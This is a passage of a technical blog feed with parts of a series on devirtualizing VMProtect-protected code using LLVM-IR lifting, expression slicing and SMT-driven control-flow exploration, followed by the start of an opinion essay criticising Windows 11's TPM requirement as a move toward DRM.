%4 = bitcast i8* %3 to i32*
%72 = load i32, i32* %4, align 1
; Computing the symbolic address
%84 = zext i32 %72 to i64
%85 = shl nuw nsw i64 %84, 1
%86 = and i64 %85, 4294967296
%87 = sub nsw i64 %84, %86
%88 = shl nsw i64 %87, 2
%89 = add nsw i64 %88, 5368964976
; Generated selection cascade
%90 = icmp eq i64 %89, 5368964988
%91 = icmp eq i64 %89, 5368964980
%92 = icmp eq i64 %89, 5368964984
%93 = icmp eq i64 %89, 5368964992
%94 = icmp eq i64 %89, 5368964996
%95 = select i1 %90, i64 2442748, i64 1465288
%96 = select i1 %91, i64 650651, i64 %95
%97 = select i1 %92, i64 2740242, i64 %96
%98 = select i1 %93, i64 1706770, i64 %97
%99 = select i1 %94, i64 1510355, i64 %98

The %99 value will hold the proper constant based on the address computed by the %89 value. The example above represents the lifted jump table shown in the next snippet, where you can notice the jump table base 0x14003E770 (5368964976) and the corresponding addresses and values:

.rdata:0x14003E770 dd 0x165BC8
.rdata:0x14003E774 dd 0x9ED9B
.rdata:0x14003E778 dd 0x29D012
.rdata:0x14003E77C dd 0x2545FC
.rdata:0x14003E780 dd 0x1A0B12
.rdata:0x14003E784 dd 0x170BD3

If we have a peek at the sliced jump condition implementing the virtualized switch case (below), this is how it looks after the ConstantConcretization pass has been scheduled in the pipeline and further InstCombine executions updated the selection cascade to compute the switch case addresses. Souper will therefore be able to identify the 6 possible outgoing edges, leading to the devirtualized switch case presented in the PointersHoisting section:

; Fetching the switch control value from [rsp + 40]
%2 = add i64 %rsp, 40
%3 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %2
%4 = bitcast i8* %3 to i32*
%72 = load i32, i32* %4, align 1
; Computing the symbolic address
%84 = zext i32 %72 to i64
%85 = shl nuw nsw i64 %84, 1
%86 = and i64 %85, 4294967296
%87 = sub nsw i64 %84, %86
%88 = shl nsw i64 %87, 2
%89 = add nsw i64 %88, 5368964976
; Generated selection cascade
%90 = icmp eq i64 %89, 5368964988
%91 = icmp eq i64 %89, 5368964980
%92 = icmp eq i64 %89, 5368964984
%93 = icmp eq i64 %89, 5368964992
%94 = icmp eq i64 %89, 5368964996
%95 = select i1 %90, i64 5371151872, i64 5370415894
%96 = select i1 %91, i64 5369359775, i64 %95
%97 = select i1 %92, i64 5371449366, i64 %96
%98 = select i1 %93, i64 5370174412, i64 %97
%99 = select i1 %94, i64 5370219479, i64 %98
%100 = call i64 @HelperKeepPC(i64 %99) #15

Unsupported instructions

It is well known that all the virtualization-based protectors support only a subset of the targeted ISA. Thus, when an unsupported instruction is found, an exit from the virtual machine is executed (context switching to the host code), running the unsupported instruction(s) and re-entering the virtual machine (context switching back to the virtualized code).

The UnsupportedInstructionsLiftingToLLVM proof-of-concept is an attempt to lift the unsupported instructions to LLVM-IR, generating an InlineAsm instruction configured with the set of clobbering constraints and (ex|im)plicitly accessed registers. An execution context structure representing the general purpose registers is employed during the lifting to feed the inline assembly call instruction with the loaded registers, and to store the updated registers after the inline assembly execution.

This approach guarantees a smooth connection between two virtualized VmStubs and an intermediate sequence of unsupported instructions, enabling some of the LLVM optimizations and a better registers allocation during the recompilation phase.

An example of the lifted unsupported instruction rdtsc follows:

define void @Unsupported_rdtsc(%ContextTy* nocapture %0) local_unnamed_addr #0 {
  %2 = tail call %IAOutTy.0 asm sideeffect inteldialect "rdtsc", "={eax},={edx}"() #1
  %3 = bitcast %ContextTy* %0 to i32*
  %4 = extractvalue %IAOutTy.0 %2, 0
  store i32 %4, i32* %3, align 4
  %5 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 3, i32 0
  %6 = bitcast %RegisterW* %5 to i32*
  %7 = extractvalue %IAOutTy.0 %2, 1
  store i32 %7, i32* %6, align 4
  ret void
}

An example of the lifted unsupported instruction cpuid follows:

define void @Unsupported_cpuid(%ContextTy* nocapture %0) local_unnamed_addr #0 {
  %2 = bitcast %ContextTy* %0 to i32*
  %3 = load i32, i32* %2, align 4
  %4 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 2, i32 0
  %5 = bitcast %RegisterW* %4 to i32*
  %6 = load i32, i32* %5, align 4
  %7 = tail call %IAOutTy asm sideeffect inteldialect "cpuid", "={eax},={ecx},={edx},={ebx},{eax},{ecx}"(i32 %3, i32 %6) #1
  %8 = extractvalue %IAOutTy %7, 0
  store i32 %8, i32* %2, align 4
  %9 = extractvalue %IAOutTy %7, 1
  store i32 %9, i32* %5, align 4
  %10 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 3, i32 0
  %11 = bitcast %RegisterW* %10 to i32*
  %12 = extractvalue %IAOutTy %7, 2
  store i32 %12, i32* %11, align 4
  %13 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 1, i32 0
  %14 = bitcast %RegisterW* %13 to i32*
  %15 = extractvalue %IAOutTy %7, 3
  store i32 %15, i32* %14, align 4
  ret void
}

Recompilation

I haven’t really explored the recompilation in depth so far, because my main objective was to obtain readable LLVM-IR code, but some considerations follow:

  • If the goal is being able to execute, and eventually decompile, the recovered code, then compiling the devirtualized function using the layer of indirection offered by the general purpose register pointers is a valid way to do so. It is conceptually similar to the kind of indirection used by Remill with its own State structure. SATURN employs this technique when the stack slots and arguments recovery cannot be applied.
  • If the goal is to achieve a 1:1 register allocation, then things get more complicated because one can’t simply map all the general purpose register pointers to the hardware registers hoping for no side-effect to manifest.

The major issue to deal with when attempting a 1:1 mapping is related to how the recompilation may unexpectedly change the stack layout. This could happen if, during the register allocation phase, some spilling slot is allocated on the stack. If these additional spilling+reloading semantics are not adequately handled, some pointers used by the function may access unforeseen stack slots with disastrous results.

Results showcase

The following log files contain the output of the PoC tool executed on functions showcasing different code constructs (e.g. loop, jump table) and accessing different data structures (e.g. GS segment, DS segment, KUSER_SHARED_DATA structure):

  • 0x140001d10@DevirtualizeMe1: calling KERNEL32.dll::GetTickCount64 and literally included as nostalgia kicked in;
  • 0x140001e60@DevirtualizeMe2: executing an unsupported cpuid and with some nicely recovered llvm.fshl.i64 intrinsic calls used as rotations;
  • 0x140001d20@DevirtualizeMe2: calling ADVAPI32.dll::GetUserNameW and with a nicely recovered llvm.bswap.i64 intrinsic call;
  • 0x13001334@EMP: DllEntryPoint, calling another internal function (intra-call);
  • 0x1301d000@EMP: calling KERNEL32.dll::LoadLibraryA, KERNEL32.dll::GetProcAddress, calling other internal functions (intra-calls), executing several unsupported cpuid instructions;
  • 0x130209c0@EMP: accessing KUSER_SHARED_DATA and with nicely synthesized conditional jumps;
  • 0x1400044c0@Switches64: executing the CPUID handler and devirtualized with PointersHoisting disabled to preserve the switch case.

Searching for the @F_ pattern in your favourite text editor will bring you directly to each devirtualized VmStub, immediately preceded by the textual representation of the recovered CFG.

Afterword

I apologize for the length of the series, but I didn’t want to discard bits of information that could possibly help others approaching LLVM as a deobfuscation framework, especially knowing that, at this time, several parties are currently working on their own LLVM-based solution. I felt like showcasing its effectiveness and limitations on a well-known obfuscator was a valid way to dive through most of the details. Please note that the process described in the posts is just one of the many possible ways to approach the problem, and by no means the best way.

The source code of the proof-of-concept should be considered an experimentation playground, with everything that involves (e.g. bugs, unhandled edge cases, non production-ready quality). As a matter of fact, some of the components are barely sketched to let me focus on improving the LLVM optimization pipeline. In the future I’ll try to find the time to polish most of it, but in the meantime I hope it can at least serve as a reference to better understand the explained concepts.

Feel free to reach out with doubts, questions or even flaws you may have found in the process, I’ll be more than happy to allocate some time to discuss them.

I’d like to thank:

  • Peter, for introducing me to LLVM and working on SATURN together.
  • mrexodia and mrphrazer, for the in-depth review of the posts.
  • justmusjle, for enhancing the colors used by the diagrams.
  • Secret Club, for their suggestions and series hosting.

See you at the next LLVM adventure!

Tickling VMProtect with LLVM: Part 2

By: fvrmatteo
8 September 2021 at 23:00

This post will introduce the concepts of expression slicing and partial CFG, combining them to implement an SMT-driven algorithm to explore the virtualized CFG. Finally, some words will be spent on introducing the LLVM optimization pipeline, its configuration and its limitations.

Poor man’s slicer

Slicing a symbolic expression to be able to evaluate it, throw it at an SMT solver or match it against some pattern is something extremely common in all symbolic reasoning tools. Luckily for us this capability is trivial to implement with yet another C++ helper function. This technique has been referred to as Poor man’s slicer in the SATURN paper, hence the title of the section.

In the VMProtect context we are mainly interested in slicing one expression: the next program counter. We want to do that either while exploring the single VmBlocks (that, once connected, form a VmStub) or while exploring the VmStubs (that, once connected, form a VmFunction). The following C++ code is meant to keep only the computations related to the final value of the virtual instruction pointer at the end of a VmBlock or VmStub:

extern "C"
size_t HelperSlicePC(
  size_t rax, size_t rbx, size_t rcx, size_t rdx, size_t rsi,
  size_t rdi, size_t rbp, size_t rsp, size_t r8, size_t r9,
  size_t r10, size_t r11, size_t r12, size_t r13, size_t r14,
  size_t r15, size_t flags,
  size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR)
{
  // Allocate the temporary virtual registers
  VirtualRegister vmregs[30] = {0};
  // Allocate the temporary passing slots
  size_t slots[30] = {0};
  // Initialize the virtual registers
  size_t vsp = rsp;
  size_t vip = 0;
  // Force the relocation address to 0
  REL_ADDR = 0;
  // Execute the virtualized code
  vip = HelperStub(
    rax, rbx, rcx, rdx, rsi, rdi,
    rbp, rsp, r8, r9, r10, r11,
    r12, r13, r14, r15, flags,
    KEY_STUB, RET_ADDR, REL_ADDR,
    vsp, vip, vmregs, slots);
  // Return the sliced program counter
  return vip;
}

The acute observer will notice that the function definition is basically identical to the HelperFunction definition given before, with the fundamental difference that the arguments are passed by value and therefore useful if related to the computation of the sliced expression, but with their liveness scope ending at the end of the function, which guarantees that there won’t be store operations to the host context that could possibly bloat the code.

The steps to use the above helper function are:

  • The HelperSlicePC is cloned into a new throwaway function;
  • The call to the HelperStub function is swapped with a call to the VmBlock or VmStub of which we want to slice the final instruction pointer;
  • The called function is forcefully inlined into the HelperSlicePC function;
  • The optimization pipeline is executed on the cloned HelperSlicePC function resulting in the slicing of the final instruction pointer expression as a side-effect of the optimizations.

The following LLVM-IR snippet shows the idea in action, resulting in the final optimized function where the condition and edges of the conditional branch are clearly visible.

define dso_local i64 @HelperSlicePC(i64 %rax, i64 %rbx, i64 %rcx, i64 %rdx, i64 %rsi, i64 %rdi, i64 %rbp, i64 %rsp, i64 %r8, i64 %r9, i64 %r10, i64 %r11, i64 %r12, i64 %r13, i64 %r14, i64 %r15, i64 %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) #5 {
  %1 = call { i32, i32, i32, i32 } asm "  xchgq  %rbx,${1:q}\0A  cpuid\0A  xchgq  %rbx,${1:q}", "={ax},=r,={cx},={dx},0,~{dirflag},~{fpsr},~{flags}"(i32 1) #4, !srcloc !9
  %2 = extractvalue { i32, i32, i32, i32 } %1, 0
  %3 = and i32 %2, 4080
  %4 = icmp eq i32 %3, 4064
  %5 = select i1 %4, i64 5371013457, i64 5371013227
  ret i64 %5
}

In the following section we’ll see how variations of this technique are used to explore the virtualized control flow graph, solve the conditional branches, and recover the switch cases.

Exploration

The exploration of a virtualized control flow graph can be done in different ways and usually protectors like VMProtect or Themida show a distinctive shape that can be pattern-matched with ease, simplified and parsed to obtain the outgoing edges of a conditional block.

The logic used by different VMProtect conditional jump versions has been detailed in the past, so in this section we are going to delve into an SMT-driven algorithm based on the incremental construction of the explored control flow graph and specifically built on top of the slicing logic explained in the previous section.

Given the generic nature of the detailed algorithm, nothing stops it from being used on other protectors. The usual catch is obviously caused by protections embedding hard to solve constraints that may hinder the automated solving phase, but the construction and propagation of the partial CFG constraints and expressions could still be useful in practice to pull out less automated exploration algorithms, or to identify and simplify anti-dynamic symbolic execution tricks (e.g. dummy loops leading to path explosion that could be simplified by LLVM’s loop optimization passes or custom user passes).

Partial CFG

A partial control flow graph is a control flow graph built connecting the currently explored basic blocks given the known edges between them. The idea behind building it, is that each time that we explore a new basic block, we gather new outgoing edges that could lead to new unexplored basic blocks, or even to known basic blocks. Every new edge between two blocks is therefore adding information to the entire control flow graph and we could actually propagate new useful constraints and values to enable stronger optimizations, possibly easing the solving of the conditional branches or even changing a known branch from unconditional to conditional.

Let’s look at two motivating examples of why building a partial CFG may be a good idea to be able to replicate the kind of reasoning usually implemented by symbolic execution tools, with the addition of useful built-in LLVM passes.

Motivating example #1

Consider the following partial control flow graph, where blue represents the VmBlock that has just been processed, orange the unprocessed VmBlock and purple the VmBlock of interest for the example.

Motivating example 1

Let’s assume we just solved the outgoing edges for the basic block A, obtaining two connections leading to the new basic blocks B and C. Now assume that we sliced the branch condition of the sole basic block B, obtaining an access into a constant array with a 64 bits symbolic index. Enumerating all the valid indices may be a non-trivial task, so we may want to restrict the search using known constraints on the symbolic index that, if present, are most likely going to come from the chain(s) of predecessor(s) of the basic block B.

To draw a symbolic execution parallel, this is the case where we want to collect the path constraints from a certain number of predecessors (e.g. we may want to incrementally harvest the constraints, because sometimes the needed constraint is locally near to the basic block we are solving) and chain them to be fed to an SMT solver to execute a successful enumeration of the valid indices.

Tools like Souper automatically harvest the set of path constraints while slicing an expression, so building the partial control flow graph and feeding it to Souper may be sufficient for the task. Additionally, with the LLVM API to walk the predecessors of a basic block it’s also quite easy to obtain the set of needed constraints and, when available, we may also take advantage of known-to-be-true conditions provided by the llvm.assume intrinsic.

Motivating example #2

Consider the following partial control flow graph, where blue represents the VmBlock that has just been processed, orange the unprocessed VmBlocks, purple the VmBlock of interest for the example, dashed red arrows the edges of interest for the example and the solid green arrow an edge that has just been processed.

Motivating example 2

Let’s assume we just solved the outgoing edges for the basic block E, obtaining two connections leading to a new block G and a known block B. In this case we know that we detected a jump to the previously visited block B (edge in green), which is basically forming a loop chain (BCEB) and we know that starting from B we can reach two edges (BC and DF, marked in dashed red) that are currently known as unconditional, but that, given the newly obtained edge EB, may not be anymore and therefore will need to be proved again. Building a new partial control flow graph including all the newly discovered basic block connections and slicing the branch of the blocks B and D may now show them as conditional.

As a real world case, when dealing with concolic execution approaches, the one mentioned above is the usual pattern that arises with index-based loops, starting with a known concrete index and running till the index reaches an upper or lower bound N. During the first N-1 executions the tool would take the same path and only at the iteration N the other path would be explored. That’s the reason why concolic and symbolic execution tools attempt to build heuristics or use techniques like state-merging to avoid running into path explosion issues (or at best executing the loop N times).

Building the partial CFG with LLVM instead, would mark the loop back edge as unconditional the first time, but building it again, including the knowledge of the newly discovered back edge, would immediately reveal the loop pattern. The outcome is that LLVM would now be able to apply its loop analysis passes, the user would be able to use the API to build ad-hoc LoopPass passes to handle special obfuscation applied to the loop components (e.g. encoded loop variant/invariant) or the SMT solvers would be able to treat newly created Phi nodes at the merge points as symbolic variables.

The following LLVM-IR snippet shows the sliced partial control flow graphs obtained during the exploration of the virtualized assembly snippet presented below.

start:
  mov rax, 2000
  mov rbx, 0
loop:
  inc rbx
  cmp rbx, rax
  jne loop

The original assembly snippet.

define dso_local i64 @FirstSlice(i64 %rax, i64 %rbx, i64 %rcx, i64 %rdx, i64 %rsi, i64 %rdi, i64 %rbp, i64 %rsp, i64 %r8, i64 %r9, i64 %r10, i64 %r11, i64 %r12, i64 %r13, i64 %r14, i64 %r15, i64 %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  %1 = call i64 @HelperKeepPC(i64 5369464257)
  ret i64 %1
}

The first partial CFG obtained during the exploration phase

define dso_local i64 @SecondSlice(i64 %rax, i64 %rbx, i64 %rcx, i64 %rdx, i64 %rsi, i64 %rdi, i64 %rbp, i64 %rsp, i64 %r8, i64 %r9, i64 %r10, i64 %r11, i64 %r12, i64 %r13, i64 %r14, i64 %r15, i64 %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  br label %1

1:                                                ; preds = %1, %0
  %2 = phi i64 [ 0, %0 ], [ %3, %1 ]
  %3 = add i64 %2, 1
  %4 = icmp eq i64 %2, 1999
  %5 = select i1 %4, i64 5369183207, i64 5369464257
  %6 = call i64 @HelperKeepPC(i64 %5)
  %7 = icmp eq i64 %6, 5369464257
  br i1 %7, label %1, label %8

8:                                                ; preds = %1
  ret i64 233496237
}

The second partial CFG obtained during the exploration phase. The block 8 is returning the dummy 0xdeaddead (233496237) value, meaning that the VmBlock instructions haven’t been lifted yet.

define dso_local i64 @F_0x14000101f_NoLoopOpt(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  br label %1

1:                                                ; preds = %1, %0
  %2 = phi i64 [ 0, %0 ], [ %3, %1 ]
  %3 = add i64 %2, 1
  %4 = icmp eq i64 %2, 1999
  br i1 %4, label %5, label %1

5:                                                ; preds = %1
  store i64 %3, i64* %rbx, align 8
  store i64 2000, i64* %rax, align 8
  ret i64 5368713281
}

The final CFG obtained at the completion of the exploration phase.

define dso_local i64 @F_0x14000101f_WithLoopOpt(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  store i64 2000, i64* %rbx, align 8
  store i64 2000, i64* %rax, align 8
  ret i64 5368713281
}

The loop-optimized final CFG obtained at the completion of the exploration phase.

The FirstSlice function shows that a single unconditional branch has been detected, identifying the bytecode address 0x1400B85C1 (5369464257), this is because there’s no knowledge of the back edge and the comparison would be cmp 1, 2000. The SecondSlice function instead shows that a conditional branch has been detected selecting between the bytecode addresses 0x140073BE7 (5369183207) and 0x1400B85C1 (5369464257). The comparison is now done with a symbolic PHINode. The F_0x14000101f_WithLoopOpt and F_0x14000101f_NoLoopOpt functions show the fully devirtualized code with and without loop optimizations applied.

Pseudocode

Given the knowledge obtained from the motivating examples, the pseudocode for the automated partial CFG driven exploration is the following:

  1. We initialize the algorithm creating:

    • A stack of addresses of VmBlocks to explore, referred to as Worklist;
    • A set of addresses of explored VmBlocks, referred to as Explored;
    • A set of addresses of VmBlocks to reprove, referred to as Reprove;
    • A map of known edges between the VmBlocks, referred to as Edges.
  2. We push the address of the entry VmBlock into the Worklist;
  3. We fetch the address of a VmBlock to explore, we lift it to LLVM-IR if met for the first time, we build the partial CFG using the knowledge from the Edges map and we slice the branch condition of the current VmBlock. Finally we feed the branch condition to Souper, which will process the expression harvesting the needed constraints and converting it to an SMT query. We can then send the query to an SMT solver, asking for the valid solutions, incrementally rejecting the known solutions up to some limit (worst case) or till all the solutions have been found.
  4. Once we obtained the outgoing edges for the current VmBlock, we can proceed with updating the maps and sets:

    • We verify if each solved edge is leading to a known VmBlock; if it is, we verify if this connection was previously known. If unknown, it means we found a new predecessor for a known VmBlock and we proceed with adding the addresses of all the VmBlocks reachable by the known VmBlock to the Reprove set and removing them from the Explored set; to speed things up, we can eventually skip each VmBlock known to be firmly unconditional;
    • We update the Edges map with the newly solved edges.
  5. At this point we check if the Worklist is empty. If it isn’t, we jump back to step 3. If it is, we populate it with all the addresses in the Reprove set, clearing it in the process and jumping back to step 3. If also the Reprove set is empty, it means we explored the whole CFG and eventually reproved all the VmBlocks that obtained new predecessors during the exploration phase.

As mentioned at the start of the section, there are many ways to explore a virtualized CFG and using an SMT-driven solution may generalize most of the steps. Obviously, it brings its own set of issues (e.g. hard to solve constraints), so one could eventually fall back to the pattern matching based solution at need. As expected, the pattern matching based solution would also blindly explore unreachable paths at times, so a mixed solution could really offer the best CFG coverage.

The pseudocode presented in this section is a simplified version of the partial CFG based exploration algorithm used by SATURN at this point in time, streamlined from a set of reasonings that are unnecessary while exploring a CFG virtualized by VMProtect.

Pipeline

So far we hinted at the underlying usage of LLVM’s optimization and analysis passes multiple times through the sections, so we can finally take a look at: how they fit in, their configuration and their limitations.

Managing the pipeline

Running the whole -O3 pipeline may not always be the best idea, because we may want to use only a subset of passes, instead of wasting cycles on passes that we know a priori don’t have any effect on the lifted LLVM-IR code. Additionally, by default, LLVM is providing a chain of optimizations which is executed once, is meant to optimize non-obfuscated code and should be as efficient as possible.

Although, in our case, we have different needs and want to be able to:

  • Add some custom passes to tackle context-specific problems and do so at precise points in the pipeline to obtain the best possible output, while avoiding phase ordering issues;
  • Iterate the optimization pipeline more than once, ideally until our custom passes can’t apply any more changes to the IR code;
  • Be able to pass custom flags to the pipeline to toggle some passes at will and eventually feed them with information obtained from the binary (e.g. access to the binary sections).

LLVM provides a FunctionPassManager class to craft our own pipeline, using LLVM’s passes and custom passes. The following C++ snippet shows how we can add a mix of passes that will be executed in order until there won’t be any more changes or until a threshold will be reached:

void optimizeFunction(llvm::Function *F, OptimizationGuide &G) {
  // Fetch the Module
  auto *M = F->getParent();
  // Create the function pass manager
  llvm::legacy::FunctionPassManager FPM(M);
  // Initialize the pipeline
  llvm::PassManagerBuilder PMB;
  PMB.OptLevel = 3;
  PMB.SizeLevel = 2;
  PMB.RerollLoops = false;
  PMB.SLPVectorize = false;
  PMB.LoopVectorize = false;
  PMB.Inliner = createFunctionInliningPass();
  // Add the alias analysis passes
  FPM.add(createCFLSteensAAWrapperPass());
  FPM.add(createCFLAndersAAWrapperPass());
  FPM.add(createTypeBasedAAWrapperPass());
  FPM.add(createScopedNoAliasAAWrapperPass());
  // Add some useful LLVM passes
  FPM.add(createCFGSimplificationPass());
  FPM.add(createSROAPass());
  FPM.add(createEarlyCSEPass());
  // Add a custom pass here
  if (G.RunCustomPass1)
    FPM.add(createCustomPass1(G));
  FPM.add(createInstructionCombiningPass());
  FPM.add(createCFGSimplificationPass());
  // Add a custom pass here
  if (G.RunCustomPass2)
    FPM.add(createCustomPass2(G));
  FPM.add(createGVNHoistPass());
  FPM.add(createGVNSinkPass());
  FPM.add(createDeadStoreEliminationPass());
  FPM.add(createInstructionCombiningPass());
  FPM.add(createCFGSimplificationPass());
  // Execute the pipeline
  size_t minInsCount = F->getInstructionCount();
  size_t pipExeCount = 0;
  FPM.doInitialization();
  do {
    // Reset the IR changed flag
    G.HasChanged = false;
    // Run the optimizations
    FPM.run(*F);
    // Check if the function changed
    size_t curInsCount = F->getInstructionCount();
    if (curInsCount < minInsCount) {
      minInsCount = curInsCount;
      G.HasChanged |= true;
    }
    // Increment the execution count
    pipExeCount++;
  } while (G.HasChanged && pipExeCount < 5);
  FPM.doFinalization();
}

The OptimizationGuide structure can be used to pass information to the custom passes and control the execution of the pipeline.

Configuration

As previously stated, the LLVM default pipeline is meant to be as efficient as possible, therefore it’s configured with a tradeoff between efficiency and efficacy in mind. While devirtualizing big functions it’s not uncommon to see the effects of the stricter configurations employed by default. But an example is worth a thousand words.

In the Godbolt UI we can see on the left a snippet of LLVM-IR code that is storing i32 values at increasing indices of a global array named arr. The store at line 96, writing the value 91 at arr[1], is a bit special because it is fully overwriting the store at line 6, writing the value 1 at arr[1]. If we look at the upper right result, we see that the DSE pass was applied, but somehow it didn’t do its job of removing the dead store at line 6. If we look at the bottom right result instead, we see that the DSE pass managed to achieve its goal and successfully killed the dead store at line 6. The reason for the difference is entirely associated to a conservative configuration of the DSE pass, which by default (at the time of writing), is walking up to 90 MemorySSA definitions before deciding that a store is not killing another post-dominated store. Setting the MemorySSAUpwardsStepLimit to a higher value (e.g. 100 in the example) is definitely something that we want to do while deobfuscating some code.

Each pass that we are going to add to the custom pipeline is going to have configurations that may be giving suboptimal deobfuscation results, so it’s a good idea to check their C++ implementation and figure out if tweaking some of the options may improve the output.

Limitations

When tweaking some configurations is not giving the expected results, we may have to dig deeper into the implementation of a pass to understand if something is hindering its job, or roll up our sleeves and develop a custom LLVM pass. Some examples on why digging into a pass implementation may lead to fruitful improvements follow.

IsGuaranteedLoopInvariant (DSE, MSSA)

While looking at some devirtualized code, I noticed some clearly-dead stores that weren’t removed by the DSE pass, even though the tweaked configurations were enabled. A minimal example of the problem, its explanation and solution are provided in the following diffs: D96979, D97155. The bottom line is that the IsGuarenteedLoopInvariant function used by the DSE and MSSA passes was not using the safe assumption that a pointer computed in the entry block is, by design, guaranteed to be loop invariant as the entry block of a Function is guaranteed to have no predecessors and not to be part of a loop.

GetPointerBaseWithConstantOffset (DSE)

While looking at some devirtualized code that was accessing memory slots of different sizes, I noticed some clearly-dead stores that weren’t removed by the DSE pass, even though the tweaked configurations were enabled. A minimal example of the problem, its explanation and solution are provided in the following diff: D97676. The bottom line is that while computing the partially overlapping memory stores, the DSE was considering only memory slots with the same base address, ignoring fully overlapping stores offsetted between each other. The solution is making use of another patch which is providing information about the offsets of the memory slots: D93529.

Shift-Select folding (InstCombine)

And obviously there is no two without three! Nah, just kidding, a patch I wanted to get accepted to simplify one of the recurring patterns in the computation of the VMProtect conditional branches has been on pause because InstCombine is an extremely complex piece of code and additions to it, especially if related to uncommon patterns, are unwelcome and seen as possibly bloating and slowing down the entire pipeline. Additional information on the pattern and the reasons that hinder its folding are available in the following differential: D84664. Nothing stops us from maintaining our own version of InstCombine as a custom pass, with ad-hoc patterns specifically selected for the obfuscation under analysis.

What’s next?

In Part 3 we’ll have a look at a list of custom passes necessary to reach a superior output quality. Then, some words will be spent on the handling of the unsupported instructions and on the recompilation process. Last but not least, the output of 6 devirtualized functions, with varying code constructs, will be shown.

Windows 11: TPMs and Digital Sovereignty

28 June 2021 at 00:00

This article is an opinion held by a subset of members about the potential plan from Microsoft about their enforcement of a TPM to use Windows 11 and various features. This article will not go into great detail about all the good and bad of a TPM; there will be links at the end for you to continue your research, but it will go into the issues we see with enforcement. If you’re unfamiliar with what a TPM is or its general function we recommend taking a look at these links: What is a TPM?; TPM and Attestation.

As you may or may not have already noticed, many people are wondering about Microsoft’s new mandatory TPM 2.0 hardware requirement for Windows 11. If you look around the press releases, shallow technical documentation, and the myriad of buzzwords like “security,” “device health,” “firmware vulnerabilities,” and “malware,” you still haven’t received a straightforward answer as to why exactly you need this tech.

Part of system requirements from Microsoft

Many of you reading this article may have machines around the house or office you built from silicon that isn’t even seven years old. These still play today’s latest games without hiccup or issue, and unless you let your Grandma or 6-year old nephew on the machine recently, you likely don’t have malware either.

So, why do I suddenly need a TPM 2.0 device on my machine, then you ask? Well, the answer is quite simple. It’s not about you; it’s about them.

You see, the PC (emphasis on personal here) is in a way the last bastion of digital freedom you have, and that door is slowly closing. You need to only look at highly locked and controlled systems like consoles and phones to see the disparity.

Political affiliations aside, one can take the Wikileaks app removal from both the Apple store and Google play store as an excellent example of what the world looks like when your device controls you, instead of you controlling the device.

How does a TPM on my PC advance this agenda?

Twenty years ago, Microsoft set forth a goal of “trusted” computing called Palladium. While this technical goal has slowly but surely crept into Windows over the years, it has laid chiefly dormant because of critical missing infrastructure. This being that until recently, quite a large majority of consumer machines did not have a TPM, which you’ll learn later is a critical component to making Palladium work. And while we won’t deny that Bitlocker is excellent for if your device ever gets stolen, we will remind you that Microsoft always sold this tyranny to look great on the surface (no pun intended here).

When Palladium debuted, it was shot out of orbit by proponents of free and open software and back into hiding it went.

Comment about vendor withdrawal problem

So why is the TPM useful? The TPM (along with suitable firmware) is critical to measuring the state of your device - the boot state, in particular, to attest to a remote party that your machine is in a non-rooted state. It’s very similar to the Widevine L1 on Android devices; a third-party can then choose whether or not to serve you content. Everything will suddenly revolve around this “trust factor” of your PC. Imagine you want to watch your favorite show on Netflix in 4k, but your hardware trust factor is low? Too bad you’ll have to settle for the 720p stream. Untrusted devices could be watching in an instance of Linux KVM, and we can’t risk your pirating tools running in the background!

You might think that “It’s okay, though! I can emulate a TPM with KVM; the software already exists!” The unfortunate truth is that it’s not that simple. TPMs have unique keys burned in at manufacture time called Endorsement Keys, and these are unique per TPM. These keys are then cryptographically tied to the vendor who issued them, and as such, not only does a TPM uniquely identify your machine anywhere in the world, but content distributors can pick and choose what TPM vendors they want to trust. Sound familiar to you? It’s called Digital Rights Management, otherwise known as DRM.

Let’s not forget, Intel initially shipped the Pentium III with a built-in serial number unique per chip. Much the same initial fate as Palladium, it was also shot down by privacy groups, and the feature was subject to removal.

A common misunderstanding

There seems to be a lot misconceptions floating around in social media. In this section we’ll highlight one of them:

“I can patch the ISO or download one that removes the requirement.”

